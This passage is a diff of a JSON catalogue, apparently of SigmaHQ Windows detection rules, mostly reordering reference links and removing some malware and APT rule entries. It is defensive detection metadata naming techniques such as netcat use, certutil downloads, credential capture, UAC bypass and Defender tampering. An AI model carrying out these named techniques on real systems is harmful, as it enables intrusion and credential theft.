"https://github.com/redcanaryco/atomic-red-team/blob/a2ccd19c37d0278b4ffa8583add3cf52060a5418/atomics/T1082/T1082.md#atomic-test-25---system-information-discovery-with-wmic", "https://blog.cyble.com/2023/01/18/aurora-a-stealer-using-shapeshifting-tactics/", "https://nwgat.ninja/getting-system-information-with-wmic-on-windows/", + "https://github.com/redcanaryco/atomic-red-team/blob/a2ccd19c37d0278b4ffa8583add3cf52060a5418/atomics/T1082/T1082.md#atomic-test-25---system-information-discovery-with-wmic", + "https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_system_info_discovery.yml" ], "tags": [ @@ -66291,8 +63597,8 @@ "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-strings", - "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/", "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", + "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_sdset_deny_service_access.yml" ], "tags": [ @@ -66396,40 +63702,6 @@ "uuid": "06b401f4-107c-4ff9-947f-9ec1e7649f1e", "value": "LOLBIN Execution Of The FTP.EXE Binary" }, - { - "description": "Detects an exploitation attempt in which the UAC consent dialogue is used to invoke an Internet Explorer process running as LOCAL_SYSTEM", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/11/20", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_exploit_cve_2019_1388.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege", - "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1388", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2019_1388.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068" - ] - }, - "related": [ - { - "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "02e0b2ea-a597-428e-b04a-af6a1a403e5c", - "value": "Exploiting CVE-2019-1388" - }, { "description": "Detects different hacktools used for relay attacks on Windows for privilege escalation", "meta": { @@ -66444,11 +63716,11 @@ "logsource.product": "windows", "refs": [ "https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/", - "https://www.localpotato.com/", "https://hunter2.gitbook.io/darthsidious/execution/responder-with-ntlm-relay-and-empire", - "https://hunter2.gitbook.io/darthsidious/other/war-stories/domain-admin-in-30-minutes", - "https://pentestlab.blog/2017/04/13/hot-potato/", "https://github.com/ohpe/juicy-potato", + "https://www.localpotato.com/", + "https://pentestlab.blog/2017/04/13/hot-potato/", + "https://hunter2.gitbook.io/darthsidious/other/war-stories/domain-admin-in-30-minutes", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_relay_attacks_tools.yml" ], "tags": [ @@ -66468,74 +63740,6 @@ "uuid": "5589ab4f-a767-433c-961d-c91f3f704db1", "value": "Potential SMB Relay Attack Tool Execution" }, - { - "description": "Detects the 3CXDesktopApp updater downloading a known compromised version of the 3CXDesktopApp software", - "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/29", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_malware_3cx_compromise_susp_update.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.linkedin.com/feed/update/urn:li:activity:7047435754834198529/", - "https://www.huntress.com/blog/3cx-voip-software-compromise-supply-chain-threats", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_3cx_compromise_susp_update.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218", - "attack.execution" - ] - }, - "related": [ - { - "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "e7581747-1e44-4d4b-85a6-0db0b4a00f2a", - "value": "Potential Compromised 3CXDesktopApp Update Activity" - }, - { - "description": "Detects suspicious inline VBScript keywords as used by UNC2452", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/03/05", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_unc2452_vbscript_pattern.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_unc2452_vbscript_pattern.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "related": [ - { - "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "20c3f09d-c53d-4e85-8b74-6aa50e2f1b61", - "value": "Suspicious VBScript UN2452 Pattern" - }, { "description": "Detects the execution of Sysinternals ADExplorer with the \"-snapshot\" flag in order to save a local copy of the active directory database to a suspicious directory.", "meta": { @@ -66623,11 +63827,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://twitter.com/Alh4zr3d/status/1580925761996828672", "https://twitter.com/0gtweet/status/1628720819537936386", "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/", - "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", - "https://twitter.com/Alh4zr3d/status/1580925761996828672", + "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_sdset_modification.yml" ], "tags": [ @@ -66649,40 +63853,6 @@ "uuid": "98c5aeef-32d5-492f-b174-64a691896d25", "value": "Service Security Descriptor Tampering Via Sc.EXE" }, - { - "description": "Detects potential QBot activity by looking for process executions used previously by QBot", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/10/01", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_malware_qbot.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/2e0647b7-eb86-4f72-904b-d2d0ecac07d1/", - "https://twitter.com/killamjr/status/1179034907932315648", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_qbot.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.005" - ] - }, - "related": [ - { - "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "4fcac6eb-0287-4090-8eea-2602e4c20040", - "value": "Potential QBot Activity" - }, { "description": "Detects the execution of the LOLBIN PrintBrm.exe, which can be used to create or extract ZIP files. PrintBrm.exe should not be run on a normal workstation.", "meta": { @@ -66738,9 +63908,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://twitter.com/gN3mes1s/status/1222095371175911424", "https://twitter.com/gN3mes1s/status/1222088214581825540", "https://twitter.com/gN3mes1s/status/1222095963789111296", - "https://twitter.com/gN3mes1s/status/1222095371175911424", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_dctask64.yml" ], "tags": [ @@ -66807,46 +63977,6 @@ "uuid": "37e8d358-6408-4853-82f4-98333fca7014", "value": "Remote Access Tool - NetSupport Execution From Unusual Location" }, - { - "description": "Detects javaw.exe in AppData folder as used by Adwind / JRAT", - "meta": { - "author": "Florian Roth (Nextron Systems), Tom Ueltschi, Jonhnathan Ribeiro, oscd.community", - "creation_date": "2017/11/10", - "falsepositive": "No established falsepositives", - "filename": "proc_creation_win_malware_adwind.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf", - "https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_adwind.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.005", - "attack.t1059.007" - ] - }, - "related": [ - { - "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "1fac1481-2dbc-48b2-9096-753c49b4ec71", - "value": "Adwind RAT / JRAT" - }, { "description": "Detection for mshta.exe suspicious execution patterns sometimes involving file polyglotism", "meta": { @@ -66860,11 +63990,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://0x00sec.org/t/clientside-exploitation-in-2018-how-pentesting-has-changed/7356", - "https://docs.microsoft.com/en-us/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script", "https://twitter.com/mattifestation/status/1326228491302563846", - "http://blog.sevagas.com/?Hacking-around-HTA-files", "https://medium.com/tsscyber/pentesting-and-hta-bypassing-powershell-constrained-language-mode-53a42856c997", + "https://docs.microsoft.com/en-us/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script", + "http://blog.sevagas.com/?Hacking-around-HTA-files", + "https://0x00sec.org/t/clientside-exploitation-in-2018-how-pentesting-has-changed/7356", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_susp_execution.yml" ], "tags": [ @@ -67007,8 +64137,8 @@ "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=41", - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=42", "https://learn.microsoft.com/en-us/dotnet/api/microsoft.hpc.scheduler.store.cx509enrollmentwebclassfactoryclass?view=hpc-sdk-5.1.6115", + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=42", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_x509enrollment.yml" ], "tags": "No established tags" @@ -67062,8 +64192,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-3---winrm-access-with-evil-winrm", "https://github.com/Hackplayers/evil-winrm", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-3---winrm-access-with-evil-winrm", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_evil_winrm.yml" ], "tags": [ @@ -67131,8 +64261,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_process.yml" ], "tags": [ @@ -67198,8 +64328,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html", "https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/powercfg-command-line-options", + "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powercfg_execution.yml" ], "tags": [ @@ -67223,8 +64353,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/014c3f51-89c6-40f1-ac9c-5688f26090ab.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md", + "https://eqllib.readthedocs.io/en/latest/analytics/014c3f51-89c6-40f1-ac9c-5688f26090ab.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_add.yml" ], "tags": [ @@ -67257,9 +64387,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Runonce/", "https://twitter.com/pabraeken/status/990717080805789697", "https://twitter.com/0gtweet/status/1602644163824156672?s=20&t=kuxbUnZPltpvFPZdCrqPXA", + "https://lolbas-project.github.io/lolbas/Binaries/Runonce/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_runonce_execution.yml" ], "tags": [ @@ -67292,9 +64422,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://unit42.paloaltonetworks.com/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/", - "https://mikefrobbins.com/2017/06/15/simple-obfuscation-with-powershell-using-base64-encoding/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-20---powershell-invoke-known-malicious-cmdlets", + "https://mikefrobbins.com/2017/06/15/simple-obfuscation-with-powershell-using-base64-encoding/", + "https://unit42.paloaltonetworks.com/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_encode.yml" ], "tags": [ @@ -67393,9 +64523,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.poweradmin.com/paexec/", - "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", + "https://www.poweradmin.com/paexec/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psexec_remote_execution.yml" ], "tags": [ @@ -67473,8 +64603,8 @@ "refs": [ "https://app.any.run/tasks/c6993447-d1d8-414e-b856-675325e5aa09/", "https://twitter.com/gN3mes1s/status/1206874118282448897", - "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", "https://securityboulevard.com/2019/08/agent-tesla-evading-edr-by-removing-api-hooks/", + "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_csc_susp_folder.yml" ], "tags": [ @@ -67743,8 +64873,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md", + "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_screensaver.yml" ], "tags": [ @@ -67995,8 +65125,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/byt3bl33d3r/CrackMapExec", "https://github.com/byt3bl33d3r/CrackMapExec/blob/0a49f75347b625e81ee6aa8c33d3970b5515ea9e/cme/helpers/powershell.py#L242", + "https://github.com/byt3bl33d3r/CrackMapExec", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_crackmapexec_powershell_obfuscation.yml" ], "tags": [ @@ -68071,8 +65201,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/implant/sliver/shell/shell_windows.go#L36", "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/", + "https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/implant/sliver/shell/shell_windows.go#L36", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sliver_c2_execution_pattern.yml" ], "tags": [ @@ -68105,10 +65235,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://bohops.com/2020/10/15/exploring-the-wdac-microsoft-recommended-block-rules-visualuiaverifynative/", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/VisualUiaVerifyNative/", "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules", "https://github.com/MicrosoftDocs/windows-itpro-docs/commit/937db704b9148e9cee7c7010cad4d00ce9c4fdad", + "https://bohops.com/2020/10/15/exploring-the-wdac-microsoft-recommended-block-rules-visualuiaverifynative/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_visualuiaverifynative.yml" ], "tags": [ @@ -68175,8 +65305,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/cube0x0", "https://www.virustotal.com/gui/search/metadata%253ACube0x0/files", + "https://github.com/cube0x0", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_execution_via_pe_metadata.yml" ], "tags": "No established tags" @@ -68217,42 +65347,6 @@ "uuid": "4627c6ae-6899-46e2-aa0c-6ebcb1becd19", "value": "HackTool - Impacket Tools Execution" }, - { - "description": "Detects the execution of DLL side-loading malware used by threat group Emissary Panda aka APT27", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/09/03", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_apt_apt27_emissary_panda.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/", - "https://twitter.com/cyb3rops/status/1168863899531132929", - "https://app.any.run/tasks/579e7587-f09d-4aae-8b07-472833262965", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_apt27_emissary_panda.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002", - "attack.g0027" - ] - }, - "related": [ - { - "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "9aa01d62-7667-4d3b-acb8-8cb5103e2014", - "value": "APT27 - Emissary Panda Activity" - }, { "description": "Detects suspicious start of rundll32.exe with a parent process of Explorer.exe. Variant of Raspberry Robin, as first reported by Red Canary.", "meta": { @@ -68332,9 +65426,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=49", "https://github.com/sensepost/ruler", + "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_outlook_susp_child_processes_remote.yml" ], "tags": [ @@ -68375,11 +65469,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/aceresponder/status/1636116096506818562", - "https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/", - "https://www.microsoft.com/en-us/security/blog/wp-content/uploads/2023/03/Figure-7-sample-webdav-process-create-event.png", - "https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/", "https://www.pwndefend.com/2023/03/15/the-long-game-persistent-hash-theft/", + "https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/", + "https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/", + "https://twitter.com/aceresponder/status/1636116096506818562", + "https://www.microsoft.com/en-us/security/blog/wp-content/uploads/2023/03/Figure-7-sample-webdav-process-create-event.png", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_webdav_client_susp_execution.yml" ], "tags": [ @@ -68400,27 +65494,6 @@ "uuid": "982e9f2d-1a85-4d5b-aea4-31f5e97c6555", "value": "Suspicious WebDav Client Execution" }, - { - "description": "Detects command line patterns used by BlackByte ransomware in different operations", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/02/25", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_malware_blackbyte_ransomware.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://redcanary.com/blog/blackbyte-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_blackbyte_ransomware.yml" - ], - "tags": "No established tags" - }, - "uuid": "999e8307-a775-4d5f-addc-4855632335be", - "value": "Potential BlackByte Ransomware Activity" - }, { "description": "Detects uncommon or suspicious child processes spawning from a VsCode \"code.exe\" process. This could indicate an attempt of persistence via VsCode tasks or terminal profiles.", "meta": { @@ -68434,8 +65507,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/nas_bench/status/1618021838407495681", "https://twitter.com/nas_bench/status/1618021415852335105", + "https://twitter.com/nas_bench/status/1618021838407495681", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vscode_child_processes_anomalies.yml" ], "tags": [ @@ -68510,8 +65583,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-analytics-alert-reference/cortex-xdr-analytics-alert-reference/scrcons-exe-rare-child-process.html", "https://redcanary.com/blog/child-processes/", + "https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-analytics-alert-reference/cortex-xdr-analytics-alert-reference/scrcons-exe-rare-child-process.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_scrcons_susp_child_process.yml" ], "tags": [ @@ -68578,8 +65651,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/e584f1a1-c303-4885-8a66-21360c90995b.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.003/T1218.003.md", + "https://eqllib.readthedocs.io/en/latest/analytics/e584f1a1-c303-4885-8a66-21360c90995b.html", "https://lolbas-project.github.io/lolbas/Binaries/Cmstp/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cmstp.yml" ], @@ -68622,10 +65695,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh875578(v=ws.11)", "https://lolbas-project.github.io/lolbas/Binaries/Rpcping/", - "https://twitter.com/vysecurity/status/873181705024266241", "https://twitter.com/vysecurity/status/974806438316072960", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh875578(v=ws.11)", + "https://twitter.com/vysecurity/status/873181705024266241", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rpcping_credential_capture.yml" ], "tags": [ @@ -68732,9 +65805,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://rvsec0n.wordpress.com/2020/01/24/malwares-that-bypass-windows-defender/", "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://rvsec0n.wordpress.com/2020/01/24/malwares-that-bypass-windows-defender/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_disable_defender_av_security_monitoring.yml" ], "tags": [ @@ -68800,8 +65873,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-4---system-discovery-using-sharpview", "https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-4---system-discovery-using-sharpview", "https://github.com/tevora-threat/SharpView/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharpview.yml" ], @@ -68867,9 +65940,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/hfiref0x/UACME", - "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", "https://lolbas-project.github.io/lolbas/Binaries/Wsreset/", + "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", + "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset_integrity_level.yml" ], "tags": [ @@ -68890,40 +65963,6 @@ "uuid": "89a9a0e0-f61a-42e5-8957-b1479565a658", "value": "UAC Bypass WSReset" }, - { - "description": "Detects Ryuk ransomware activity", - "meta": { - "author": "Florian Roth (Nextron Systems), Vasiliy Burov, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2019/12/16", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_malware_ryuk.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/", - "https://app.any.run/tasks/d860402c-3ff4-4c1f-b367-0237da714ed1/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_ryuk.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "related": [ - { - "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "c37510b8-2107-4b78-aa32-72f251e7a844", - "value": "Potential Ryuk Ransomware Activity" - }, { "description": "Detects the execution of DeviceCredentialDeployment to hide a process from view", "meta": { @@ -68970,8 +66009,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", "https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remote_execution.yml" ], "tags": [ @@ -69123,9 +66162,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", "https://nmap.org/ncat/", "https://www.revshells.com/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_netcat.yml" ], "tags": [ @@ -69158,10 +66197,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://forensicitguy.github.io/agenttesla-vba-certutil-download/", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", "https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/", + "https://forensicitguy.github.io/agenttesla-vba-certutil-download/", "https://twitter.com/egre55/status/1087685529016193025", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", "https://lolbas-project.github.io/lolbas/Binaries/Certutil/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_download.yml" ], @@ -69263,9 +66302,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://ss64.com/ps/foreach-object.htmll", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", "https://ss64.com/nt/for.html", - 